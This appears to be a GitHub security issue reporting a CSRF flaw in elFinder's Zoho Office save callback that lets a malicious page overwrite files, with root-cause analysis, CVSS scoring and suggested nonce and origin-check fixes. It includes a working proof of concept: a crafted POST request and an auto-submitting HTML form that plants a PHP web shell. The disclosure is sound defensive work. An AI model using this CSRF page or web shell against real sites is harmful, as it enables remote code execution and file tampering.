Movatterモバイル変換


[0]ホーム

URL:


Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

elFinder Zoho Office editor callback – authenticated arbitrary file overwrite via CSRF (cmd=editor&name=ZohoOffice&method=save) #3743

Open
@5m477

Description

@5m477

Description

The Zoho Office integration exposescmd=editor&name=ZohoOffice&method=save, a multipart POST endpoint that is intended to receive Zoho’s callback with the edited document. The handler accepts any user-suppliedhash value, looks up the corresponding volume using the victim’s existing session cookies, and then overwrites that file with the uploaded payload via$volume->putContents(). There is no CSRF token, no nonce binding the request to a priorinit() call, and no verification that the callback originated from Zoho.

In practice, any external site can build a hidden form that posts to the connector while the victim is logged in. When the browser submits that form, the attacker-controlled content replaces the targeted file. This behavior is present in upstream elFinder as of November 2025 as well as in downstream mirrors such as the Typesetter gitea snapshot observed on 2025-11-10.

Impact depends on the writable paths exposed by the affected volume:

  • Persistent XSS by overwriting HTML, JavaScript, or templated assets.
  • Remote code execution by dropping or replacing PHP scripts under webroot.
  • Application corruption or data loss by clobbering configuration or content files.

Affected Component

File:php/editors/ZohoOffice/editor.php, methodelFinderEditorZohoOffice::save()

Entry point:cmd=editor&name=ZohoOffice&method=save in the PHP connector.

Current implementation in Studio-42/elFinder main branch (lines 188-209):

publicfunctionsave(){if (!empty($_POST) && !empty($_POST['hash']) && !empty($_FILES) && !empty($_FILES['content'])) {$hash =$_POST['hash'];/** @var elFinderVolumeDriver $volume */if ($volume =$this->elfinder->getVolume($hash)) {if ($content =file_get_contents($_FILES['content']['tmp_name'])) {if ($volume->putContents($hash,$content)) {returnarray('raw' =>true,'error' =>'','header' =>'HTTP/1.1 200 OK');                }            }        }    }returnarray('raw' =>true,'error' =>'','header' =>'HTTP/1.1 500 Internal Server Error');}

Note: The hash is accepted directly from$_POST['hash'] (not from a JSON-encoded$_POST['id'] as in some older forks). This is the current upstream implementation as confirmed in the repository.


Root Cause

1. Untrusted File Identifier

Thesave() handler:

  • acceptshash directly from$_POST['hash'],
  • passes this hash directly into$this->elfinder->getVolume($hash) and$volume->putContents($hash, $content).

There isno verification that:

  • the hash came from a genuineinit call, or
  • it was ever associated with this Zoho session, or
  • the request originated from Zoho's servers.

2. No CSRF Protection

The PHP connector'srun() entry point does not enforce CSRF tokens forcmd=editor calls; it simply dispatches to the editor plugin. This design has been documented before in the context of earlier elFinder vulnerabilities.

As a result, a cross-origin<form> POST to:

/connector.php?cmd=editor&name=ZohoOffice&method=save

will be processed with the victim's existing session cookies.

3. No Binding Between init and save

Ininit(), the Zoho editor URL is generated (lines 150-152 ineditor.php):

$conUrl = elFinder::getConnectorUrl();$data['callback_settings']['save_url'] =$conUrl . (strpos($conUrl,'?') !==false?'&' :'?') .'cmd=editor&name=' .$this->myName .'&method=save' .$cdata;

Additionally, the hash is passed to Zoho insave_url_params (lines 139-141):

'callback_settings' =>array('save_format' =>$format,'save_url_params' =>array('hash' =>$hash    ))

The callback URL containsno MAC, nonce, or session token that is later validated bysave(). Zoho is configured to send back thehash parameter, which is then trusted implicitly. This parameter is fully attacker-controlled in a CSRF context.

4. Dangerous Sink: $volume->putContents()

elFinderVolumeDriver::putContents($hash, $content) resolves the hash to a path in the volume and overwrites that file with the supplied content, assuming the user has write permission. This is the same primitive that has been used in prior arbitrary file write exploits against elFinder integrations.


Impact

For any deployment that:

  • exposes the elFinder connector to the browser,
  • authenticates users via cookies,
  • and enables ZohoOffice editing (ELFINDER_ZOHO_OFFICE_APIKEY defined,enabled() returns true),

an attacker can:

  1. host a malicious web page,
  2. lure a logged-in elFinder user to visit it,
  3. and have the victim's browser send a craftedsave request that overwrites any writable file in the victim's volume.

Resulting Impact:

  • Integrity: Full compromise of any writable file in the volume.
  • Availability: High – overwriting configuration, libraries, or application code can render the application unusable.
  • Confidentiality: If a writable PHP file under webroot is overwritten with attacker-controlled code, this leads toremote code execution and full data disclosure on the host.

This is anauthenticated CSRF – the attacker needs the victim to be logged into elFinder in their browser, but does not need direct access to the instance.


Proof of Concept (Maintainer-Oriented)

The vulnerability can be reproduced without Zoho by simulating its callback.

Step-by-Step Reproduction:

  1. Log into your application so elFinder is available and Zoho integration is enabled.

  2. Usecmd=open (or the UI) to obtain the hash of a test file in a writable volume (e.g. a text file).

  3. From a tool like curl or a REST client, send a multipart POST to your connector:

POST /connector.php?cmd=editor&name=ZohoOffice&method=save HTTP/1.1Host: your-elfinder-hostCookie: [your authenticated session cookies]Content-Type: multipart/form-data; boundary=----WebKitFormBoundary------WebKitFormBoundaryContent-Disposition: form-data; name="hash"<hash-of-target-file>------WebKitFormBoundaryContent-Disposition: form-data; name="content"; filename="payload.txt"Content-Type: text/plainoverwritten by zoho csrf------WebKitFormBoundary--
  1. After this request, the target file's content is replaced withoverwritten by zoho csrf (or whatever payload you supplied), despite the request not originating from Zoho and not being tied to any editor session.

Browser-Based CSRF Attack:

In a browser-based CSRF scenario, a malicious site can achieve the same effect by having the victim's browser submit such a form cross-origin; there is no CSRF protection in the connector or insave().

Example malicious HTML:

<!DOCTYPE html><html><head><title>Innocent Page</title></head><body><h1>Loading content...</h1><formid="csrf-attack"method="POST"action="https://victim-elfinder.com/connector.php?cmd=editor&name=ZohoOffice&method=save"enctype="multipart/form-data"style="display:none"><inputtype="text"name="hash"value="l1_dGVzdC50eHQ"><inputtype="file"name="content"><inputtype="submit"></form><script>// Create malicious file contentconstmaliciousContent='<?php system($_GET["cmd"]); ?>';constblob=newBlob([maliciousContent],{type:'text/plain'});constfile=newFile([blob],'shell.php',{type:'text/plain'});// Populate file inputconstdataTransfer=newDataTransfer();dataTransfer.items.add(file);document.querySelector('input[name="content"]').files=dataTransfer.files;// Auto-submit the formsetTimeout(()=>{document.getElementById('csrf-attack').submit();},1000);</script><p>Please wait while we load your content...</p></body></html>

When a logged-in elFinder user visits this page, their browser automatically submits the malicious form, overwriting the target file with attacker-controlled content.


Severity

I would rate this asHigh:

  • Attack vector: Network (cross-origin CSRF).
  • Privileges required: None beyond the victim's existing session (attacker is unauthenticated).
  • User interaction: Victim must visit an attacker-controlled page while logged in.
  • Impact: Arbitrary file overwrite → potential RCE, persistent XSS, or destructive data loss.

CVSS 3.1 Score: 8.8 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Impact Breakdown:

  • Confidentiality: HIGH - Can lead to RCE and full data disclosure
  • Integrity: HIGH - Arbitrary file overwrite in user's volume
  • Availability: HIGH - Overwriting critical files can make the application unavailable
  • User Interaction: REQUIRED - Victim must visit malicious page while authenticated

Recommendations

Short-term / Hardening:

1. Add CSRF Protection to cmd=editor / save

  • Require a per-session CSRF token (e.g. stored in the PHP session and sent as a POST parameter or header) for all state-changing commands.
  • Validate this token in the connector before dispatching to editor plugins, including ZohoOffice.

Example implementation:

// Ensure connector bootstrap has a live PHP sessionif (session_status() !==PHP_SESSION_ACTIVE) {session_start();}// Inside init(), after determining $hash$nonce =bin2hex(random_bytes(16));$_SESSION['zoho_edit_nonce'][$hash] =$nonce;$data['callback_settings']['save_url_params'] =array('hash' =>$hash,'nonce' =>$nonce);$conUrl = elFinder::getConnectorUrl();$nonceSuffix ='&nonce=' .rawurlencode($nonce);$data['callback_settings']['save_url'] =$conUrl .    (strpos($conUrl,'?') !==false ?'&' :'?') .'cmd=editor&name=' .$this->myName .'&method=save' .$nonceSuffix;// Inside save()$hash =$_POST['hash'] ??'';$nonce =$_POST['nonce'] ?? ($_GET['nonce'] ??'');if (empty($hash) ||empty($_FILES['content']) ||empty($_SESSION['zoho_edit_nonce'][$hash]) ||    !hash_equals($_SESSION['zoho_edit_nonce'][$hash],$nonce)) {returnarray('raw' =>true,'error' =>'Invalid or expired edit session','header' =>'HTTP/1.1 403 Forbidden'    );}unset($_SESSION['zoho_edit_nonce'][$hash]);// ... continue with existing save logic using $hash

2. Validate the Source of the Callback

  • If Zoho supports signed callbacks, consider checking Zoho's signature.
  • At minimum, validate theOrigin/Referer header to ensure the request comes from Zoho's domains before accepting it (recognising that referrer checks are a defence-in-depth measure, not a full CSRF solution).

Example implementation:

publicfunctionsave(){// Validate origin (defense-in-depth)$allowed_origins = ['https://api.office.zoho.com','https://api.office.zoho.eu','https://api.office.zoho.in'    ];$origin =$_SERVER['HTTP_ORIGIN'] ??'';$referer =$_SERVER['HTTP_REFERER'] ??'';$valid_origin =false;foreach ($allowed_originsas$allowed) {if (strpos($origin,$allowed) ===0 ||strpos($referer,$allowed) ===0) {$valid_origin =true;break;        }    }if (!$valid_origin) {error_log('ZohoOffice save callback from unexpected origin:' .$origin);// Continue with other validation (not a hard block)    }// ... rest of validation and save logic}

3. Optionally Scope Hashes per Session

  • Instead of trusting arbitrary hashes in callbacks, consider mapping a short-lived, unguessable token to the target file for the duration of the Zoho editing session, and only accepting that token insave().

Example implementation:

// In init()publicfunctioninit($hash,$options =array()){// Generate unique edit token$edit_token =bin2hex(random_bytes(16));// Map token to actual file hash$_SESSION['zoho_edit_tokens'][$edit_token] = ['hash' =>$hash,'expires' =>time() +3600// 1 hour    ];// Pass token to Zoho instead of raw hash$data['callback_settings']['save_url_params'] =array('edit_token' =>$edit_token    );// ... rest of init logic}// In save()publicfunctionsave(){if (!empty($_POST['edit_token']) && !empty($_FILES['content'])) {$token =$_POST['edit_token'];// Validate edit token instead of trusting hashif (!empty($token)) {if (empty($_SESSION['zoho_edit_tokens'][$token])) {returnarray('raw' =>true,'error' =>'Invalid or expired edit token','header' =>'HTTP/1.1 403 Forbidden'                );            }$token_data =$_SESSION['zoho_edit_tokens'][$token];// Check expirationif ($token_data['expires'] <time()) {                unset($_SESSION['zoho_edit_tokens'][$token]);returnarray('raw' =>true,'error' =>'Edit session expired','header' =>'HTTP/1.1 403 Forbidden'                );            }// Use validated hash$hash =$token_data['hash'];// Clean up token after use            unset($_SESSION['zoho_edit_tokens'][$token]);// ... proceed with save using validated hash        }    }}

Operational / Documentation:

Document the Risk of Enabling ZohoOffice

Until a fix is shipped, warn that enabling ZohoOffice on an internet-facing elFinder instance exposes users to CSRF-driven file overwrites, and should be limited to trusted internal environments.

Suggested security advisory text:

Security Warning: The Zoho Office editor integration currently lacks CSRF protection in the save callback handler. Until this is addressed, deployments that enable ZohoOffice (ELFINDER_ZOHO_OFFICE_APIKEY configured) on internet-facing instances are vulnerable to cross-site request forgery attacks that can overwrite arbitrary files. We recommend:

  • Only enable ZohoOffice in trusted, internal environments
  • Implement additional network-level access controls
  • Monitor for unexpected file modifications
  • Consider disabling ZohoOffice until patched versions are available

Disclosure

I haven't seen this specific Zoho save callback issue documented in the existing elFinder security notes or Packagist warning (which refer to earlier pre-2.1.65 issues), so I'm treating it as a separate vulnerability.

If you'd like, I'm happy to:

  • help verify whether other editors that implementsave() in a similar way are affected.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions


      [8]ページ先頭

      ©2009-2025 Movatter.jp